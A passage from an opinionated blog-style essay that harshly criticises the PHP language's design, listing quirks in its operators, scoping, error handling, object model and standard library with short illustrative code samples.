PHP is the lone exception. Virtually every feature in PHP is broken somehow. The language, the framework, the ecosystem, are all just bad. And I can’t even point out any single damning thing, because the damage is so systemic. Every time I try to compile a list of PHP gripes, I get stuck in this depth-first search discovering more and more appalling trivia. (Hence, fractal.)

PHP is an embarrassment, a blight upon my craft. It’s so broken, but so lauded by every empowered amateur who’s yet to learn anything else, as to be maddening. It has paltry few redeeming qualities and I would prefer to forget it exists at all.

But I’ve got to get this out of my system. So here goes, one last try.

An analogy

I just blurted this out to Mel to explain my frustration and she insisted that I reproduce it here.

I can’t even say what’s wrong with PHP, because— okay. Imagine you have uh, a toolbox. A set of tools. Looks okay, standard stuff in there.

You pull out a screwdriver, and you see it’s one of those weird tri-headed things. Okay, well, that’s not very useful to you, but you guess it comes in handy sometimes.

You pull out the hammer, but to your dismay, it has the claw part on both sides. Still serviceable though, I mean, you can hit nails with the middle of the head holding it sideways.

You pull out the pliers, but they don’t have those serrated surfaces; it’s flat and smooth. That’s less useful, but it still turns bolts well enough, so whatever.

And on you go. Everything in the box is kind of weird and quirky, but maybe not enough to make it completely worthless. And there’s no clear problem with the set as a whole; it still has all the tools.

Now imagine you meet millions of carpenters using this toolbox who tell you “well hey what’s the problem with these tools? They’re all I’ve ever used and they work fine!” And the carpenters show you the houses they’ve built, where every room is a pentagon and the roof is upside-down. And you knock on the front door and it just collapses inwards and they all yell at you for breaking their door.

That’s what’s wrong with PHP.

Stance

I assert that the following qualities are important for making a language productive and useful, and PHP violates them with wild abandon. If you can’t agree that these are crucial, well, I can’t imagine how we’ll ever agree on much.

• A language must be predictable. It’s a medium for expressing human ideas and having a computer execute them, so it’s critical that a human’s understanding of a program actually be correct.
• A language must be consistent. Similar things should look similar, different things different. Knowing part of the language should aid in learning and understanding the rest.
• A language must be concise. New languages exist to reduce the boilerplate inherent in old languages. (We could all write machine code.) A language must thus strive to avoid introducing new boilerplate of its own.
• A language must be reliable. Languages are tools for solving problems; they should minimize any new problems they introduce. Any “gotchas” are massive distractions.
• A language must be debuggable. When something goes wrong, the programmer has to fix it, and we need all the help we can get.

My position is thus:

• PHP is full of surprises: mysql_real_escape_string, E_ALL
• PHP is inconsistent: strpos, str_rot13
• PHP requires boilerplate: error-checking around C API calls, ===
• PHP is flaky: ==, foreach ($foo as &$bar)
• PHP is opaque: no stack traces by default or for fatals, complex error reporting

I can’t provide a paragraph of commentary for every single issue explaining why it falls into these categories, or this would be endless. I trust the reader to, like, think.

Don’t comment with these things

I’ve been in PHP arguments a lot. I hear a lot of very generic counter-arguments that are really only designed to halt the conversation immediately. Don’t pull these on me, please. :(

• Do not tell me that “good developers can write good code in any language”, or bad developers blah blah. That doesn’t mean anything. A good carpenter can drive in a nail with either a rock or a hammer, but how many carpenters do you see bashing stuff with rocks? Part of what makes a good developer is the ability to choose the tools that work best.

• Do not tell me that it’s the developer’s responsibility to memorize a thousand strange exceptions and surprising behaviors. Yes, this is necessary in any system, because computers suck. That doesn’t mean there’s no upper limit for how much zaniness is acceptable in a system. PHP is nothing but exceptions, and it is not okay when wrestling the language takes more effort than actually writing your program. My tools should not create net positive work for me to do.

• Do not tell me “that’s how the C API works”. What on Earth is the point of using a high-level language if all it provides are some string helpers and a ton of verbatim C wrappers? Just write C! Here, there’s even a CGI library for it.

• Do not tell me “that’s what you get for doing weird things”. If two features exist, someday, someone will find a reason to use them together. And again, this isn’t C; there’s no spec, there’s no need for “undefined behavior”.

• Do not tell me that Facebook and Wikipedia are built in PHP. I’m aware! They could also be written in Brainfuck, but as long as there are smart enough people wrangling the things, they can overcome problems with the platform. For all we know, development time could be halved or doubled if these products were written in some other language; this data point alone means nothing.

• Ideally, don’t tell me anything! This is my one big shot; if this list doesn’t hurt your opinion of PHP, nothing ever will, so stop arguing with some dude on the Internet and go make a cool website in record time to prove me wrong :)

Side observation: I loooove Python. I will also happily talk your ear off complaining about it, if you really want me to. I don’t claim it’s perfect; I’ve just weighed its benefits against its problems and concluded it’s the best fit for things I want to do.

And I have never met a PHP developer who can do the same with PHP. But I’ve bumped into plenty who are quick to apologize for anything and everything PHP does. That mindset is terrifying.

PHP

Core language

CPAN has been called the “standard library of Perl”. That doesn’t say much about Perl’s standard library, but it makes the point that a solid core can build great things.

Philosophy

• PHP was originally designed explicitly for non-programmers (and, reading between the lines, non-programs); it has not well escaped its roots. A choice quote from the PHP 2.0 documentation, regarding + and friends doing type conversion:

  Once you start having separate operators for each type you start making the language much more complex. ie. you can’t use ‘==’ for stings [sic], you now would use ‘eq’. I don’t see the point, especially for something like PHP where most of the scripts will be rather simple and in most cases written by non-programmers who want a language with a basic logical syntax that doesn’t have too high a learning curve.

• PHP is built to keep chugging along at all costs. When faced with either doing something nonsensical or aborting with an error, it will do something nonsensical. Anything is better than nothing.
• There’s no clear design philosophy. Early PHP was inspired by Perl; the huge stdlib with “out” params is from C; the OO parts are designed like C++ and Java.
• PHP takes vast amounts of inspiration from other languages, yet still manages to be incomprehensible to anyone who knows those languages. (int) looks like C, but int doesn’t exist. Namespaces use \. The new array syntax results in [key => value], unique among every language with hash literals.
• Weak typing (i.e., silent automatic conversion between strings/numbers/et al) is so complex that whatever minor programmer effort is saved is by no means worth it.
• Little new functionality is implemented as new syntax; most of it is done with functions or things that look like functions. Except for class support, which deserved a slew of new operators and keywords.
• Some of the problems listed on this page do have first-party solutions—if you’re willing to pay Zend for fixes to their open-source programming language.

• There is a whole lot of action at a distance. Consider this code, taken from the PHP docs somewhere.

    @fopen('http://example.com/not-existing-file', 'r');
  

  What will it do?

  • If PHP was compiled with --disable-url-fopen-wrapper, it won’t work. (Docs don’t say what “won’t work” means; returns null, throws exception?) Note that this flag was removed in PHP 5.2.5.
  • If allow_url_fopen is disabled in php.ini, this still won’t work. (How? No idea.)
  • Because of the @, the warning about the non-existent file won’t be printed.
  • But it will be printed if scream.enabled is set in php.ini.
  • Or if scream.enabled is set manually with ini_set.
  • But not if the right error_reporting level isn’t set.
  • If it is printed, exactly where it goes depends on display_errors, again in php.ini. Or ini_set.

  I can’t tell how this innocuous function call will behave without consulting compile-time flags, server-wide configuration, and configuration done in my program. And this is all built in behavior.

• The language is full of global and implicit state. mbstring uses a global character set. func_get_arg and friends look like regular functions, but operate on the currently-executing function. Error/exception handling have global defaults. register_tick_function sets a global function to run every tick—what?!
• There is no threading support whatsoever. (Not surprising, given the above.) Combined with the lack of built-in fork (mentioned below), this makes parallel programming extremely difficult.
• Parts of PHP are practically designed to produce buggy code.
  • json_decode returns null for invalid input, even though null is also a perfectly valid object for JSON to decode to—this function is completely unreliable unless you also call json_last_error every time you use it.
  • array_search, strpos, and similar functions return 0 if they find the needle at position zero, but false if they don’t find it at all.

  Let me expand on that last part a bit.

  In C, functions like strpos return -1 if the item isn’t found. If you don’t check for that case and try to use that as an index, you’ll hit junk memory and your program will blow up. (Probably. It’s C. Who the fuck knows. I’m sure there are tools for this, at least.)

  In, say, Python, the equivalent .index methods will raise an exception if the item isn’t found. If you don’t check for that case, your program will blow up.

  In PHP, these functions return false. If you use FALSE as an index, or do much of anything with it except compare with ===, PHP will silently convert it to 0 for you. Your program will not blow up; it will, instead, do the wrong thing with no warning, unless you remember to include the right boilerplate around every place you use strpos and certain other functions.

  This is bad! Programming languages are tools; they’re supposed to work with me. Here, PHP has actively created a subtle trap for me to fall into, and I have to be vigilant even with such mundane things as string operations and equality comparison. PHP is a minefield.

I have heard a great many stories about the PHP interpreter and its developers from a great many places. These are from people who have worked on the PHP core, debugged PHP core, interacted with core developers. Not a single tale has been a compliment.

So I have to fit this in here, because it bears repeating: PHP is a community of amateurs. Very few people designing it, working on it, or writing code in it seem to know what they’re doing. (Oh, dear reader, you are of course a rare exception!) Those who do grow a clue tend to drift away to other platforms, reducing the average competence of the whole. This, right here, is the biggest problem with PHP: it is absolutely the blind leading the blind.

Okay, back to facts.

Operators

• == is useless.
  • It’s not transitive. "foo" == TRUE, and "foo" == 0… but, of course, TRUE != 0.
  • == converts to numbers when possible (123 == "123foo"… although "123" != "123foo"), which means it converts to floats when possible. So large hex strings (like, say, password hashes) may occasionally compare true when they’re not. Even JavaScript doesn’t do this.
  • For the same reason, "6" == " 6", "4.2" == "4.20", and "133" == "0133". But note that 133 != 0133, because 0133 is octal. But "0x10" == "16" and "1e3" == "1000"!
  • === compares values and type… except with objects, where === is only true if both operands are actually the same object! For objects, == compares both value (of every attribute) and type, which is what === does for every other type. What.
• Comparison isn’t much better.
  • It’s not even consistent: NULL < -1, and NULL == 0. Sorting is thus nondeterministic; it depends on the order in which the sort algorithm happens to compare elements.
  • The comparison operators try to sort arrays, two different ways: first by length, then by elements. If they have the same number of elements but different sets of keys, though, they are uncomparable.
  • Objects compare as greater than anything else… except other objects, which they are neither less than nor greater than.
  • For a more type-safe ==, we have ===. For a more type-safe <, we have… nothing. "123" < "0124", always, no matter what you do. Casting doesn’t help, either.
• Despite the craziness above, and the explicit rejection of Perl’s pairs of string and numeric operators, PHP does not overload +. + is always addition, and . is always concatenation.
• The [] indexing operator can also be spelled {}.
• [] can be used on any variable, not just strings and arrays. It returns null and issues no warning.
• [] cannot slice; it only retrieves individual elements.
• foo()[0] is a syntax error. (Fixed in PHP 5.4.)

• Unlike (literally!) every other language with a similar operator, ?: is left associative. So this:

    $arg = 'T';
    $vehicle = ( ( $arg == 'B' ) ? 'bus' :
                 ( $arg == 'A' ) ? 'airplane' :
                 ( $arg == 'T' ) ? 'train' :
                 ( $arg == 'C' ) ? 'car' :
                 ( $arg == 'H' ) ? 'horse' :
                 'feet' );
    echo $vehicle;
  

  prints horse.

Variables

• There is no way to declare a variable. Variables that don’t exist are created with a null value when first used.
• Global variables need a global declaration before they can be used. This is a natural consequence of the above, so it would be perfectly reasonable, except that globals can’t even be read without an explicit declaration—PHP will quietly create a local with the same name, instead. I’m not aware of another language with similar scoping issues.
• There are no references. What PHP calls references are really aliases; there’s nothing that’s a step back, like Perl’s references, and there’s no pass-by-object identity like in Python.
• “Referenceness” infects a variable unlike anything else in the language. PHP is dynamically-typed, so variables generally have no type… except references, which adorn function definitions, variable syntax, and assignment. Once a variable is made a reference (which can happen anywhere), it’s stuck as a reference. There’s no obvious way to detect this and un-referencing requires nuking the variable entirely.
• Okay, I lied. There are “SPL types” which also infect variables: $x = new SplBool(true); $x = "foo"; will fail. This is like static typing, you see.
• A reference can be taken to a key that doesn’t exist within an undefined variable (which becomes an array). Using a non-existent array normally issues a notice, but this does not.
• Constants are defined by a function call taking a string; before that, they don’t exist. (This may actually be a copy of Perl’s use constant behavior.)
• Variable names are case-sensitive. Function and class names are not. This includes method names, which makes camelCase a strange choice for naming.

Constructs

• array() and a few dozen similar constructs are not functions. array on its own means nothing, $func = "array"; $func(); doesn’t work.
• Array unpacking can be done with the list($a, $b) = ... operation. list() is function-like syntax just like array. I don’t know why this wasn’t given real dedicated syntax, or why the name is so obviously confusing.
• (int) is obviously designed to look like C, but it’s a single token; there’s nothing called int in the language. Try it: not only does var_dump(int) not work, it throws a parse error because the argument looks like the cast operator.
• (integer) is a synonym for (int). There’s also (bool)/(boolean) and (float)/(double)/(real).
• There’s an (array) operator for casting to array and an (object) for casting to object. That sounds nuts, but there’s almost a use: you can use (array) to have a function argument that’s either a single item or a list, and treat it identically. Except you can’t do that reliably, because if someone passes a single object, casting it to an array will actually produce an array containing that object’s attributes. (Casting to object performs the reverse operation.)
• include() and friends are basically C’s #include: they dump another source file into yours. There is no module system, even for PHP code.
• There’s no such thing as a nested or locally-scoped function or class. They’re only global. Including a file dumps its variables into the current function’s scope (and gives the file access to your variables), but dumps functions and classes into global scope.
• Appending to an array is done with $foo[] = $bar.
• echo is a statement-y kind of thing, not a function.
• empty($var) is so extremely not-a-function that anything but a variable, e.g. empty($var || $var2), is a parse error. Why on Earth does the parser need to know about empty?
• There’s redundant syntax for blocks: if (...): ... endif;, etc.

Error handling

• PHP’s one unique operator is @ (actually borrowed from DOS), which silences errors.
• PHP errors don’t provide stack traces. You have to install a handler to generate them. (But you can’t for fatal errors—see below.)
• PHP parse errors generally just spew the parse state and nothing more, making a forgotten quote terrible to debug.
• PHP’s parser refers to e.g. :: internally as T_PAAMAYIM_NEKUDOTAYIM, and the << operator as T_SL. I say “internally”, but as above, this is what’s shown to the programmer when :: or << appears in the wrong place.
• Most error handling is in the form of printing a line to a server log nobody reads and carrying on.
• E_STRICT is a thing, but it doesn’t seem to actually prevent much and there’s no documentation on what it actually does.
• E_ALL includes all error categories—except E_STRICT. (Fixed in 5.4.)

• Weirdly inconsistent about what’s allowed and what isn’t. I don’t know how E_STRICT applies here, but these things are okay:

  • Trying to access a non-existent object property, i.e., $foo->x. (warning)
  • Using a variable as a function name, or variable name, or class name. (silent)
  • Trying to use an undefined constant. (notice)
  • Trying to access a property of something that isn’t an object. (notice)
  • Trying to use a variable name that doesn’t exist. (notice)
  • 2 < "foo" (silent)
  • foreach (2 as $foo); (warning)

  And these things are not:

  • Trying to access a non-existent class constant, i.e., $foo::x. (fatal error)
  • Using a constant string as a function name, or variable name, or class name. (parse error)
  • Trying to call an undefined function. (fatal error)
  • Leaving off a semicolon on the last statement in a block or file. (parse error)
  • Using list and various other quasi-builtins as method names. (parse error)
  • Subscripting the return value of a function, i.e., foo()[0]. (parse error; okay in 5.4, see above)

  There are a good few examples of other weird parse errors elsewhere in this list.

• The __toString method can’t throw exceptions. If you try, PHP will… er, throw an exception. (Actually a fatal error, which would be passable, except…)
• PHP errors and PHP exceptions are completely different beasts. They don’t seem to interact at all.
  • PHP errors (internal ones, and calls to trigger_error) cannot be caught with try/catch.
  • Likewise, exceptions do not trigger error handlers installed by set_error_handler.
  • Instead, there’s a separate set_exception_handler which handles uncaught exceptions, because wrapping your program’s entry point in a try block is impossible in the mod_php model.
  • Fatal errors (e.g., new ClassDoesntExist()) can’t be caught by anything. A lot of fairly innocuous things throw fatal errors, forcibly ending your program for questionable reasons. Shutdown functions still run, but they can’t get a stack trace (they run at top-level), and they can’t easily tell if the program exited due to an error or running to completion.
• There is no finally construct, making wrapper code (set handler, run code, unset handler; monkeypatch, run a test, unmonkeypatch) tedious and difficult to write. Despite that OO and exceptions were largely copied from Java, this is deliberate, because finally “doesn’t make much sense in the context of PHP”. Huh?

Functions

• Function calls are apparently rather expensive.
• Some built-in functions interact with reference-returning functions in, er, a strange way.
• As mentioned elsewhere, a lot of things that look like functions or look like they should be functions are actually language constructs, so nothing that works with functions will work with them.

• Function arguments can have “type hints”, which are basically just static typing. But you can’t require that an argument be an int or string or object or other “core” type, even though every builtin function uses this kind of typing, probably because int is not a thing in PHP. (See above about (int).) You also can’t use the special pseudo-type decorations used heavily by builtin functions: mixed, number, or callback. (callable is allowed as of PHP 5.4.)

  • As a result, this:

      function foo(string $s) {}
    
      foo("hello world");
    

    produces the error:

      PHP Catchable fatal error:  Argument 1 passed to foo() must be an instance of string, string given, called in...
    

  • You may notice that the “type hint” given doesn’t actually have to exist; there is no string class in this program. If you try to use ReflectionParameter::getClass() to examine the type hint dynamically, then it will balk that the class doesn’t exist, making it impossible to actually retrieve the class name.
  • A function’s return value can’t be hinted.
• Passing the current function’s arguments to another function (dispatch, not uncommon) is done by call_user_func_array('other_function', func_get_args()). But func_get_args throws a fatal error at runtime, complaining that it can’t be a function parameter. How and why is this even a type of error? (Fixed in PHP 5.3.)
• Closures require explicitly naming every variable to be closed-over. Why can’t the interpreter figure this out? Kind of hamstrings the whole feature. (Okay, it’s because using a variable ever, at all, creates it unless explicitly told otherwise.)
• Closed-over variables are “passed” by the same semantics as other function arguments. That is, arrays and strings etc. will be “passed” to the closure by value. Unless you use &.
• Because closed-over variables are effectively automatically-passed arguments and there are no nested scopes, a closure can’t refer to private methods, even if it’s defined inside a class. (Possibly fixed in 5.4? Unclear.)
• No named arguments to functions. Actually explicitly rejected by the devs because it “makes for messier code”.
• Function arguments with defaults can appear before function arguments without, even though the documentation points out that this is both weird and useless. (So why allow it?)
• Extra arguments to a function are ignored (except with builtin functions, which raise an error). Missing arguments are assumed null.
• “Variadic” functions require faffing about with func_num_args, func_get_arg, and func_get_args. There’s no syntax for such a thing.

OO

• The procedural parts of PHP are designed like C, but the objectional (ho ho) parts are designed like Java. I cannot overemphasize how jarring this is. The class system is designed around the lower-level Java language which is naturally and deliberately more limited than PHP’s contemporaries, and I am baffled.
  • I’ve yet to find a global function that even has a capital letter in its name, yet important built-in classes use camelCase method names and have getFoo Java-style accessors.
  • Perl, Python, and Ruby all have some concept of “property” access via code; PHP has only the clunky __get and friends. (The documentation inexplicably refers to such special methods as “overloading”.)
  • Classes have something like variable declaration (var and const) for class attributes, whereas the procedural part of the language does not.
  • Despite the heavy influence from C++/Java, where objects are fairly opaque, PHP often treats objects like fancy hashes—for example, the default behavior of foreach ($obj as $key => $value) is to iterate over every accessible attribute of the object.
• Classes are not objects. Any metaprogramming has to refer to them by string name, just like functions.
• Built-in types are not objects and (unlike Perl) can in no way be made to look like objects.
• instanceof is an operator, despite that classes were a late addition and most of the language is built on functions and function-ish syntax. Java influence? Classes not first-class? (I don’t know if they are.)
  • But there is an is_a function. With an optional argument specifying whether to allow the object to actually be a string naming a class.
  • get_class is a function; there’s no typeof operator. Likewise is_subclass_of.
  • This doesn’t work on builtin types, though (again, int is not a thing). For that, you need is_int etc.
  • Also the right-hand side has to be a variable or literal string; it can’t be an expression. That causes… a parse error.
• clone is an operator?!
• Object attributes are $obj->foo, but class attributes are Class::$foo. ($obj::$foo will try to stringify $obj and use it as a class name.) Class attributes can’t be accessed via objects; the namespaces are completely separate, making class attributes completely useless for polymorphism. Class methods, of course, are exempt from this rule and can be called like any other method. (I am told C++ also does this. C++ is not a good example of fine OO.)
• Also, an instance method can still be called statically (Class::method()). If done so from another method, this is treated like a regular method call on the current $this. I think.
• new, private, public, protected, static, etc. Trying to win over Java developers? I’m aware this is more personal taste, but I don’t know why this stuff is necessary in a dynamic language—in C++ most of it’s about compilation and compile-time name resolution.
• PHP has first-class support for “abstract classes”, which are classes that cannot be instantiated. Code in similar languages achieves this by throwing an exception in the constructor.
• Subclasses cannot override private methods. Subclass overrides of public methods can’t even see, let alone call, the superclass’s private methods. Problematic for, say, test mocks.
• Methods cannot be named e.g. “list”, because list() is special syntax (not a function) and the parser gets confused. There’s no reason this should be ambiguous, and monkeypatching the class works fine. ($foo->list() is not a syntax error.)
• If an exception is thrown while evaluating a constructor’s arguments (e.g., new Foo(bar()) and bar() throws), the constructor won’t be called, but the destructor will be. (This is fixed in PHP 5.3.)
• Exceptions in __autoload and destructors cause fatal errors. (Fixed in PHP 5.3.6. So now a destructor might throw an exception literally anywhere, since it’s called the moment the refcount drops the zero. Hmm.)
• There are no constructors or destructors. __construct is an initializer, like Python’s __init__. There is no method you can call on a class to allocate memory and create an object.
• There is no default initializer. Calling parent::__construct() if the superclass doesn’t define its own __construct is a fatal error.
• OO brings with it an iterator interface that parts of the language (e.g., for...as) respect, but nothing built-in (like arrays) actually implements the interface. If you want an array iterator, you have to wrap it in an ArrayIterator. There are no built-in ways to chain or slice or otherwise work with iterators as first-class objects.
• Interfaces like Iterator reserve a good few unprefixed method names. If you want your class to be iterable (without the default behavior of iterating all of its attributes), but want to use a common method name like key or next or current, well, too bad.
• Classes can overload how they convert to strings and how they act when called, but not how they convert to numbers or any other builtin type.
• Strings, numbers, and arrays all have a string conversion; the language relies heavily on this. Functions and classes are strings. Yet trying to convert a built-in or user-defined object (even a Closure) to a string causes an error if it doesn’t define __toString. Even echo becomes potentially error-prone.
• There is no overloading for equality or ordering.
• Static variables inside instance methods are global; they share the same value across all instances of the class.

Standard library

Perl is “some assembly required”. Python is “batteries included”. PHP is “kitchen sink, but it’s from Canada and both faucets are labeled C”.

General

• There is no module system. You can compile PHP extensions, but which ones are loaded is specified by php.ini, and your options are for an extension to exist (and inject its contents into your global namespace) or not.
• As namespaces are a recent feature, the standard library isn’t broken up at all. There are thousands of functions in the global namespace.
• Chunks of the library are wildly inconsistent from one another.
  • Underscore versus not: strpos/str_rot13, php_uname/phpversion, base64_encode/urlencode, gettype/get_class
  • “to” versus 2: ascii2ebcdic, bin2hex, deg2rad, strtolower, strtotime
  • Object+verb versus verb+object: base64_decode, str_shuffle, var_dump versus create_function, recode_string
  • Argument order: array_filter($input, $callback) versus array_map($callback, $input), strpos($haystack, $needle) versus array_search($needle, $haystack)
  • Prefix confusion: usleep versus microtime
  • Case insensitive functions vary on where the i goes in the name.
  • About half the array functions actually start with array_. The others do not.
  • htmlentities and html_entity_decode are inverses of each other, with completely different naming conventions.
• Kitchen sink. The libary includes:
  • Bindings to ImageMagick, bindings to GraphicsMagick (which is a fork of ImageMagick), and a handful of functions for inspecting EXIF data (which ImageMagick can already do).
  • Functions for parsing bbcode, a very specific kind of markup used by a handful of particular forum packages.
  • Way too many XML packages. DOM (OO), DOM XML (not), libxml, SimpleXML, “XML Parser”, XMLReader/XMLWriter, and half a dozen more acronyms I can’t identify. There’s surely some kind of difference between these things and you are free to go figure out what that is.
  • Bindings for two particular credit card processors, SPPLUS and MCVE. What?
  • Three ways to access a MySQL database: mysql, mysqli, and the PDO abstraction thing.

C influence

This deserves its own bullet point, because it’s so absurd yet permeates the language. PHP is a high-level, dynamically-typed programming language. Yet a massive portion of the standard library is still very thin wrappers around C APIs, with the following results:

• “Out” parameters, even though PHP can return ad-hoc hashes or multiple arguments with little effort.
• At least a dozen functions for getting the last error from a particular subsystem (see below), even though PHP has had exceptions for eight years.
• Warts like mysql_real_escape_string, even though it has the same arguments as the broken mysql_escape_string, just because it’s part of the MySQL C API.
• Global behavior for non-global functionality (like MySQL). Using multiple MySQL connections apparently requires passing a connection handle on every function call.
• The wrappers are really, really, really thin. For example, calling dba_nextkey without calling dba_firstkey will segfault.
• There’s a set of ctype_* functions (e.g. ctype_alnum) that map to the C character-class detection functions of similar names, rather than, say, isupper.

Genericism

There is none. If a function might need to do two slightly different things, PHP just has two functions.

How do you sort backwards? In Perl, you might do sort { $b <=> $a }. In Python, you might do .sort(reverse=True). In PHP, there’s a separate function called rsort().

• Functions that look up a C error: curl_error, json_last_error, openssl_error_string, imap_errors, mysql_error, xml_get_error_code, bzerror, date_get_last_errors, others?
• Functions that sort: array_multisort, arsort, asort, ksort, krsort, natsort, natcasesort, sort, rsort, uasort, uksort, usort
• Functions that find text: ereg, eregi, mb_ereg, mb_eregi, preg_match, strstr, strchr, stristr, strrchr, strpos, stripos, strrpos, strripos, mb_strpos, mb_strrpos, plus the variations that do replacements
• There are a lot of aliases as well, which certainly doesn’t help matters: strstr/strchr, is_int/is_integer/is_long, is_float/is_double, pos/current, sizeof/count, chop/rtrim, implode/join, die/exit, trigger_error/user_error, diskfreespace/disk_free_space…
• scandir returns a list of files within a given directory. Rather than (potentially usefully) return them in directory order, the function returns the files already sorted. And there’s an optional argument to get them in reverse alphabetical order. There were not, apparently, enough sort functions. (PHP 5.4 adds a third value for the sort-direction argument that will disable sorting.)
• str_split breaks a string into chunks of equal length. chunk_split breaks a string into chunks of equal length, then joins them together with a delimiter.
• Reading archives requires a separate set of functions depending on the format. There are six separate groups of such functions, all with different APIs, for bzip2, LZF, phar, rar, zip, and gzip/zlib.
• Because calling a function with an array as its arguments is so awkward (call_user_func_array), there are some pairings like printf/vprintf and sprintf/vsprintf. These do the same things, but one function takes arguments and the other takes an array of arguments.

Text

• preg_replace with the /e (eval) flag will do a string replace of the matches into the replacement string, then eval it.
• strtok is apparently designed after the equivalent C function, which is already a bad idea for various reasons. Nevermind that PHP can easily return an array (whereas this is awkward in C), or that the very hack strtok(3) uses (modifying the string in-place) isn’t used here.
• parse_str parses a query string, with no indication of this in the name. Also it acts just like register_globals and dumps the query into your local scope as variables, unless you pass it an array to populate. (It returns nothing, of course.)
• explode refuses to split with an empty/missing delimiter. Every other string split implementation anywhere does some useful default in this case; PHP instead has a totally separate function, confusingly called str_split and described as “converting a string to an array”.
• For formatting dates, there’s strftime, which acts like the C API and respects locale. There’s also date, which has a completely different syntax and only works with English.
• ”gzgetss — Get line from gz-file pointer and strip HTML tags.” I’m dying to know the series of circumstances that led to this function’s conception.
• mbstring
  • It’s all about “multi-byte”, when the problem is character sets.
  • Still operates on regular strings. Has a single global “default” character set. Some functions allow specifying charset, but then it applies to all arguments and the return value.
  • Provides ereg_* functions, but those are deprecated. preg_* are out of luck, though they can understand UTF-8 by feeding them some PCRE-specific flag.

System and reflection

• There are, in general, a whole lot of functions that blur the line between text and variables. compact and extract are just the tip of the iceberg.
• There are several ways to actually be dynamic in PHP, and at a glance there are no obvious differences or relative benefits. classkit can modify user-defined classes; runkit supersedes it and can modify user-defined anything; the Reflection* classes can reflect on most parts of the language; there are a great many individual functions for reporting properties of functions and classes. Are these subsystems independent, related, redundant?
• get_class($obj) returns the object’s class name. get_class() returns the name of the class the function is being called in. Setting aside that this one function does two radically different things: get_class(null)… acts like the latter. So you can’t trust it on an arbitrary value. Surprise!
• The stream_* classes allow for implementing custom stream objects for use with fopen and other fileish builtins. “tell” cannot be implemented for internal reasons. (Also there are A LOT of functions involved with this system.)
• register_tick_function will accept a closure object. unregister_tick_function will not; instead it throws an error complaining that the closure couldn’t be converted to a string.
• php_uname tells you about the current OS. Unless PHP can’t tell what it’s running on; then it tells you about the OS it was built on. It doesn’t tell you if this has happened.
• fork and exec are not built in. They come with the pcntl extension, but that isn’t included by default. popen doesn’t provide a pid.
• stat’s return value is cached.
• session_decode is for reading an arbitrary PHP session string, but it only works if there’s an active session already. And it dumps the result into $_SESSION, rather than returning it.

Miscellany

• curl_multi_exec doesn’t change curl_errno on error, but it does change curl_error.
• mktime’s arguments are, in order: hour, minute, second, month, day, year.

Data manipulation

Programs are nothing more than big machines that chew up data and spit out more data. A great many languages are designed around the kinds of data they manipulate, from awk to Prolog to C. If a language can’t handle data, it can’t do anything.

Numbers

• Integers are signed and 32-bit on 32-bit platforms. Unlike all of PHP’s contemporaries, there is no automatic bigint promotion. So you can end up with surprises like negative file sizes, and your math might work differently based on CPU architecture. Your only option for larger integers is to use the GMP or BC wrapper functions. (The developers have proposed adding a new, separate, 64-bit type. This is crazy.)
• PHP supports octal syntax with a leading 0, so e.g. 012 will be the number ten. However, 08 becomes the number zero. The 8 (or 9) and any following digits disappear. 01c is a syntax error.
• 0x0+2 produces 4. The parser considers the 2 as both part of the hex literal and a separate decimal literal, treating this as 0x002 + 2. 0x0+0x2 displays the same problem. Strangely, 0x0 +2 is still 4, but 0x0+ 2 is correctly 2. (This is fixed in PHP 5.4. But it’s also re-broken in PHP 5.4, with the new 0b literal prefix: 0b0+1 produces 2.)
• pi is a function. Or there’s a constant, M_PI.
• There is no exponentiation operator, only the pow function.

Text

• No Unicode support. Only ASCII will work reliably, really. There’s the mbstring extension, mentioned above, but it kinda blows.
• Which means that using the builtin string functions on UTF-8 text risks corrupting it.
• Similarly, there’s no concept of e.g. case comparisons outside of ASCII. Despite the proliferation of case-insensitive versions of functions, not one of them will consider é equal to É.
• You can’t quote keys in variable interpolation, i.e., "$foo['key']" is a syntax error. You can unquote it (which would generate a warning anywhere else!), or use ${...}/{$...}.
• "${foo[0]}" is okay. "${foo[0][0]}" is a syntax error. Putting the $ on the inside is fine with both. Bad copy of similar Perl syntax (with radically different semantics)?

Arrays

Oh, man.

• This one datatype acts as a list, ordered hash, ordered set, sparse list, and occasionally some strange combination of those. How does it perform? What kind of memory use will there be? Who knows? Not like I have other options, anyway.
• => isn’t an operator. It’s a special construct that only exists inside array(...) and the foreach construct.
• Negative indexing doesn’t work, since -1 is just as valid a key as 0.
• Despite that this is the language’s only data structure, there is no shortcut syntax for it; array(...) is shortcut syntax. (PHP 5.4 is bringing “literals”, [...].)
• The => construct is based on Perl, which allows foo => 1 without quoting. (That is, in fact, why it exists in Perl; otherwise it’s just a comma.) In PHP, you can’t do this without getting a warning; it’s the only language in its niche that has no vetted way to create a hash without quoting string keys.

• Array functions often have confusing or inconsistent behavior because they have to operate on lists, hashes, or maybe a combination of the two. Consider array_diff, which “computers the difference of arrays”.

    $first  = array("foo" => 123, "bar" => 456);
    $second = array("foo" => 456, "bar" => 123);
    echo var_dump(array_diff($first, $second));
  

  What will this code do? If array_diff treats its arguments as hashes, then obviously these are different; the same keys have different values. If it treats them as lists, then they’re still different; the values are in the wrong order.

  In fact array_diff considers these equal, because it treats them like sets: it compares only values, and ignores order.

• In a similar vein, array_rand has the strange behavior of selecting random keys, which is not that helpful for the most common case of needing to pick from a list of choices.

• Despite how heavily PHP code relies on preserving key order:

    array("foo", "bar") != array("bar", "foo")
    array("foo" => 1, "bar" => 2) == array("bar" => 2, "foo" => 1)
  

  I leave it to the reader to figure out what happens if the arrays are mixed. (I don’t know.)

• array_fill cannot create zero-length arrays; instead it will issue a warning and return false.
• All of the (many…) sort functions operate in-place and return nothing. There is no way to create a new sorted copy; you have to copy the array yourself, then sort it, then use the array.
• But array_reverse returns a new array.
• A list of ordered things and some mapping of keys to values sounds kind of like a great way to handle function arguments, but no.

Not arrays

• The standard library includes “Quickhash”, an OO implementation of “specific strongly-typed classes” for implementing hashes. And, indeed, there are four classes, each dealing with a different combination of key and value types. It’s unclear why the builtin array implementation can’t optimize for these extremely common cases, or what the relative performance is.
• There’s an ArrayObject class (which implements five different interfaces) that can wrap an array and have it act like an object. User classes can implement the same interfaces. But it only has a handful of methods, half of which don’t resemble built-in array functions, and built-in array functions don’t know how to operate on an ArrayObject or other array-like class.

Functions

• Functions are not data. Closures are actually objects, but regular functions are not. You can’t even refer to them with their bare names; var_dump(strstr) issues a warning and assumes you mean the literal string, "strstr". There is no way to discern between an arbitrary string and a function “reference”.
